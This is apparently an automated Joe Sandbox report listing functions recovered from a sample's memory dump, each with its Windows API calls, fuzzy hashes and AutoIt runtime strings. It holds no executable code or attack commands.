                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ShowWindow
                                                • String ID:
                                                • API String ID: 1268545403-0
                                                • Opcode ID: 739b2f1d32f6dd8889640f0d3196692b9c6efe5066eaf5c3103fb6654975ab0a
                                                • Instruction ID: a55bd26b1530646296cd9267c66409f0846f052c89a9cd6467a6a3070de263b3
                                                • Opcode Fuzzy Hash: 739b2f1d32f6dd8889640f0d3196692b9c6efe5066eaf5c3103fb6654975ab0a
                                                • Instruction Fuzzy Hash: C14118312346C2BBC7F58F6A8B8876B7B95AB47314F54443CE04752560DE79A8A0CB51
                                                Function 00322D03 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DeleteObject.GDI32(00000000), ref: 00322D1B
                                                • GetDC.USER32(00000000), ref: 00322D23
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00322D2E
                                                • ReleaseDC.USER32(00000000,00000000), ref: 00322D3A
                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00322D76
                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00322D87
                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00325A65,?,?,000000FF,00000000,?,000000FF,?), ref: 00322DC2
                                                • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00322DE1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                • String ID:
                                                • API String ID: 3864802216-0
                                                • Opcode ID: 9b470c3da84cb8f38aadd188da9614e5186a2a469dd94656cdcb666d515846a9
                                                • Instruction ID: 825c87954dc737a669b97e3477e43c0ef2baa7e2c1a58b56f88cfe1272a10911
                                                • Opcode Fuzzy Hash: 9b470c3da84cb8f38aadd188da9614e5186a2a469dd94656cdcb666d515846a9
                                                • Instruction Fuzzy Hash: B2318072211224BFEB224F54DC8AFEB3FADEF09715F044055FE089A291C6759C51C7A4
                                                Function 002F5622 Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _memcmp
                                                • String ID:
                                                • API String ID: 2931989736-0
                                                • Opcode ID: ee0b8e34df1c5493416dd70b9ee47561a7b682e086a044d1cf71f03ea63af485
                                                • Instruction ID: 0ec3f5b089592ce58f74fca0acbbc033a5da887835ba58017a1cabce7f4c8c65
                                                • Opcode Fuzzy Hash: ee0b8e34df1c5493416dd70b9ee47561a7b682e086a044d1cf71f03ea63af485
                                                • Instruction Fuzzy Hash: 2E21C87167493E7B961959109E92FFAA39CAE103C4F840030FF15DA645F760ED3085A5
                                                Function 00314FAE Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 359COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: NULL Pointer assignment$Not an Object type
                                                • API String ID: 0-572801152
                                                • Opcode ID: cdd884ec9f2e8938290ccd39980f14a0ccd1c1eb5be6627c0110880415ea4f34
                                                • Instruction ID: a5f59a422534df5343cf2f3fbcdd7d7129594bf6be55e6fde2f89766b5839a66
                                                • Opcode Fuzzy Hash: cdd884ec9f2e8938290ccd39980f14a0ccd1c1eb5be6627c0110880415ea4f34
                                                • Instruction Fuzzy Hash: E5D19E75A0060AEFDF1ACF98C880BEEB7B5BF8C344F158469E915AB280D770D985CB50
                                                Function 002D1522 Relevance: 10.8, APIs: 7, Instructions: 268COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCPInfo.KERNEL32(00000000,00000000,?,7FFFFFFF,?,?,002D17FB,00000000,00000000,?,00000000,?,?,?,?,00000000), ref: 002D15CE
                                                • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,002D17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 002D1651
                                                • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,002D17FB,?,002D17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 002D16E4
                                                • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,002D17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 002D16FB
                                                  • Part of subcall function 002C3820: RtlAllocateHeap.NTDLL(00000000,?,00361444,?,002AFDF5,?,?,0029A976,00000010,00361440,002913FC,?,002913C6,?,00291129), ref: 002C3852
                                                • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,002D17FB,00000000,00000000,?,00000000,?,?,?,?), ref: 002D1777
                                                • __freea.LIBCMT ref: 002D17A2
                                                • __freea.LIBCMT ref: 002D17AE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ByteCharMultiWide$__freea$AllocateHeapInfo
                                                • String ID:
                                                • API String ID: 2829977744-0
                                                • Opcode ID: 33656726a12dbe5dee8a7689c96f15b184485d97ba2c8fbf6388976e2b000b6a
                                                • Instruction ID: d199321df2dadea96553a85bb9c009edb2482aaff7e6cc2283fd570932c28ca0
                                                • Opcode Fuzzy Hash: 33656726a12dbe5dee8a7689c96f15b184485d97ba2c8fbf6388976e2b000b6a
                                                • Instruction Fuzzy Hash: B691D871E30206BADB208E64DC41AEEBBB9AF45310F54465AE805E7791D739DC70CBA0
                                                Function 00314523 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit
                                                • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                • API String ID: 2610073882-625585964
                                                • Opcode ID: 92ca2a29ef93428c4ac798ff1ac31948a766f449dc6543bd850a3c9f300e68c8
                                                • Instruction ID: 9a1e43d4c1e3fea6f27326945b28809e05db4e2e4992cfe1f584274d2c301958
                                                • Opcode Fuzzy Hash: 92ca2a29ef93428c4ac798ff1ac31948a766f449dc6543bd850a3c9f300e68c8
                                                • Instruction Fuzzy Hash: 9491AF71A00215ABDF2ACFA4DC44FEEBBB8EF4A714F108559F515AB280D7709985CFA0
                                                Function 00301187 Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                                Download Yara Rule
                                                APIs
                                                • SafeArrayGetVartype.OLEAUT32(00000001,?), ref: 0030125C
                                                • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00301284
                                                • SafeArrayUnaccessData.OLEAUT32(00000001), ref: 003012A8
                                                • SafeArrayAccessData.OLEAUT32(00000001,?), ref: 003012D8
                                                • SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0030135F
                                                • SafeArrayAccessData.OLEAUT32(00000001,?), ref: 003013C4
                                                • SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00301430
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ArraySafe$Data$Access$UnaccessVartype
                                                • String ID:
                                                • API String ID: 2550207440-0
                                                • Opcode ID: 664029f8a8fbc09b109051251ae3831d693d5339ea180af30e917e0cea946663
                                                • Instruction ID: bb0d3b93dd81e441a0f3c95930c4f938b2e6ea9521bb8b16f6cfac78ee30db0a
                                                • Opcode Fuzzy Hash: 664029f8a8fbc09b109051251ae3831d693d5339ea180af30e917e0cea946663
                                                • Instruction Fuzzy Hash: 7891F275A012089FEB12DF99C8A4BBEB7B9FF45314F114429E900EB2E1D774E941CB90
                                                Function 002A948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ObjectSelect$BeginCreatePath
                                                • String ID:
                                                • API String ID: 3225163088-0
                                                • Opcode ID: 6694972c1e295db094caf6c9d418338a5e2c1994d4bf5456005204c5a5df6974
                                                • Instruction ID: 27c77f4831cca6b7e2ee9f2c8c366ebdf7d94c125e9d118de99ad88f1ebde766
                                                • Opcode Fuzzy Hash: 6694972c1e295db094caf6c9d418338a5e2c1994d4bf5456005204c5a5df6974
                                                • Instruction Fuzzy Hash: 6F915871D5020AEFCB11CFAACC85AEEBBB8FF49320F548049E515B7251D774A992CB60
                                                Function 00313947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 0031396B
                                                • CharUpperBuffW.USER32(?,?), ref: 00313A7A
                                                • _wcslen.LIBCMT ref: 00313A8A
                                                • VariantClear.OLEAUT32(?), ref: 00313C1F
                                                  • Part of subcall function 00300CDF: VariantInit.OLEAUT32(00000000), ref: 00300D1F
                                                  • Part of subcall function 00300CDF: VariantCopy.OLEAUT32(?,?), ref: 00300D28
                                                  • Part of subcall function 00300CDF: VariantClear.OLEAUT32(?), ref: 00300D34
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
                                                • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                • API String ID: 4137639002-1221869570
                                                • Opcode ID: 74c4ed6528f27dce6a848c7fe0c74d6a597373dec4d397eae0da4686df9dc4c6
                                                • Instruction ID: 62bc1c71e0f8298cec5a8d9a045856497517a23cae873fb43a7fa7120e0e9c89
                                                • Opcode Fuzzy Hash: 74c4ed6528f27dce6a848c7fe0c74d6a597373dec4d397eae0da4686df9dc4c6
                                                • Instruction Fuzzy Hash: 269136756183059FCB05DF28C4809AAB7E4BF89314F14896DF89A9B351DB30EE85CF92
                                                Function 00314BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002F000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?,?,?,002F035E), ref: 002F002B
                                                  • Part of subcall function 002F000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?,?), ref: 002F0046
                                                  • Part of subcall function 002F000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?,?), ref: 002F0054
                                                  • Part of subcall function 002F000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,002EFF41,80070057,?), ref: 002F0064
                                                • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00314C51
                                                • _wcslen.LIBCMT ref: 00314D59
                                                • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00314DCF
                                                • CoTaskMemFree.OLE32(?), ref: 00314DDA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
                                                • String ID: NULL Pointer assignment
                                                • API String ID: 614568839-2785691316
                                                • Opcode ID: d9b19fded72b48afa1484347950ffdb81b6092206564edb12ab98749fa728c52
                                                • Instruction ID: 842fc328f4c37bd35d84ae5c463697973a9c6a90669cbd5dcf6b57802f81f387
                                                • Opcode Fuzzy Hash: d9b19fded72b48afa1484347950ffdb81b6092206564edb12ab98749fa728c52
                                                • Instruction Fuzzy Hash: 48913771D0021DAFDF15DFA4D891EEEB7B9BF08314F10816AE915A7251EB309A94CFA0
                                                Function 003220FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetMenu.USER32(?), ref: 00322183
                                                • GetMenuItemCount.USER32(00000000), ref: 003221B5
                                                • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 003221DD
                                                • _wcslen.LIBCMT ref: 00322213
                                                • GetMenuItemID.USER32(?,?), ref: 0032224D
                                                • GetSubMenu.USER32(?,?), ref: 0032225B
                                                  • Part of subcall function 002F3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 002F3A57
                                                  • Part of subcall function 002F3A3D: GetCurrentThreadId.KERNEL32 ref: 002F3A5E
                                                  • Part of subcall function 002F3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,002F25B3), ref: 002F3A65
                                                • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 003222E3
                                                  • Part of subcall function 002FE97B: Sleep.KERNEL32 ref: 002FE9F3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
                                                • String ID:
                                                • API String ID: 4196846111-0
                                                • Opcode ID: a3c1196f6af6ca8e01ef679f07efa212f055373e78db15d39a5c063f2e8d03c4
                                                • Instruction ID: 7551cf0ec7519a0164466845a976c68621380998cc9acb3943a175cdc61daf6a
                                                • Opcode Fuzzy Hash: a3c1196f6af6ca8e01ef679f07efa212f055373e78db15d39a5c063f2e8d03c4
                                                • Instruction Fuzzy Hash: 3571AD35A10215EFCB12EFA5D881AAEB7F5EF48310F118859E816EB351DB35EE018F90
                                                Function 002FAEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32(?), ref: 002FAEF9
                                                • GetKeyboardState.USER32(?), ref: 002FAF0E
                                                • SetKeyboardState.USER32(?), ref: 002FAF6F
                                                • PostMessageW.USER32(?,00000101,00000010,?), ref: 002FAF9D
                                                • PostMessageW.USER32(?,00000101,00000011,?), ref: 002FAFBC
                                                • PostMessageW.USER32(?,00000101,00000012,?), ref: 002FAFFD
                                                • PostMessageW.USER32(?,00000101,0000005B,?), ref: 002FB020
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessagePost$KeyboardState$Parent
                                                • String ID:
                                                • API String ID: 87235514-0
                                                • Opcode ID: e732b9cb240f8782f3583a95d0f2ba6c89872c8972c67eede384d1078e99f3b1
                                                • Instruction ID: 23395203677c37e7a5edf1782c0f666adabe0b6d998da1015d3e6232cd4316aa
                                                • Opcode Fuzzy Hash: e732b9cb240f8782f3583a95d0f2ba6c89872c8972c67eede384d1078e99f3b1
                                                • Instruction Fuzzy Hash: 515115E09243DA3DFB334634CC45BBAFE996B06344F0885ADE2D9498C2C7D9A8E4D751
                                                Function 002FACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32(00000000), ref: 002FAD19
                                                • GetKeyboardState.USER32(?), ref: 002FAD2E
                                                • SetKeyboardState.USER32(?), ref: 002FAD8F
                                                • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 002FADBB
                                                • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 002FADD8
                                                • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 002FAE17
                                                • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 002FAE38
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessagePost$KeyboardState$Parent
                                                • String ID:
                                                • API String ID: 87235514-0
                                                • Opcode ID: 982750152fc6227313479eba5335fcb3065a761c34a1f350e6e054f1f4106ccb
                                                • Instruction ID: d124d337dc46a6865df5ff8f56f9272504a97dfa8dac7ddfed167e4ec7775cfe
                                                • Opcode Fuzzy Hash: 982750152fc6227313479eba5335fcb3065a761c34a1f350e6e054f1f4106ccb
                                                • Instruction Fuzzy Hash: C551F7E09247DA3DFB374734CC55B7AFE986B05380F0884A8E2D9468C2C394ECA8D752
                                                Function 002C542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • GetConsoleCP.KERNEL32(002D3CD6,?,?,?,?,?,?,?,?,002C5BA3,?,?,002D3CD6,?,?), ref: 002C5470
                                                • __fassign.LIBCMT ref: 002C54EB
                                                • __fassign.LIBCMT ref: 002C5506
                                                • WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,002D3CD6,00000005,00000000,00000000), ref: 002C552C
                                                • WriteFile.KERNEL32(?,002D3CD6,00000000,002C5BA3,00000000,?,?,?,?,?,?,?,?,?,002C5BA3,?), ref: 002C554B
                                                • WriteFile.KERNEL32(?,?,00000001,002C5BA3,00000000,?,?,?,?,?,?,?,?,?,002C5BA3,?), ref: 002C5584
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                • String ID:
                                                • API String ID: 1324828854-0
                                                • Opcode ID: 971a220f18e11154a9ce39621304ba7adacf368685071a6cbd8b999a47d7edb5
                                                • Instruction ID: f802ed6813f572f21082421f683384faba72c36434ddb867f51cf77748522162
                                                • Opcode Fuzzy Hash: 971a220f18e11154a9ce39621304ba7adacf368685071a6cbd8b999a47d7edb5
                                                • Instruction Fuzzy Hash: 7151C170A10609AFDB21CFA8D841FEEBBF9EF08300F14461EE555E7291D670EA91CB60
                                                Function 003110B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 0031304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0031307A
                                                  • Part of subcall function 0031304E: _wcslen.LIBCMT ref: 0031309B
                                                • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00311112
                                                • WSAGetLastError.WSOCK32 ref: 00311121
                                                • WSAGetLastError.WSOCK32 ref: 003111C9
                                                • closesocket.WSOCK32(00000000), ref: 003111F9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
                                                • String ID:
                                                • API String ID: 2675159561-0
                                                • Opcode ID: 4cec190635840fe5e8f36d55e879b451723f82380c669b9e2fc9180f6f76ac7a
                                                • Instruction ID: 5c51b7d1d9331d938fb2e541e2d8aa079d53ce9c9c8e851374b2e437aca3e9b2
                                                • Opcode Fuzzy Hash: 4cec190635840fe5e8f36d55e879b451723f82380c669b9e2fc9180f6f76ac7a
                                                • Instruction Fuzzy Hash: 4141D431610204AFDB269F14C885BEEB7E9EF49324F158069FE199B291D770ED81CBE1
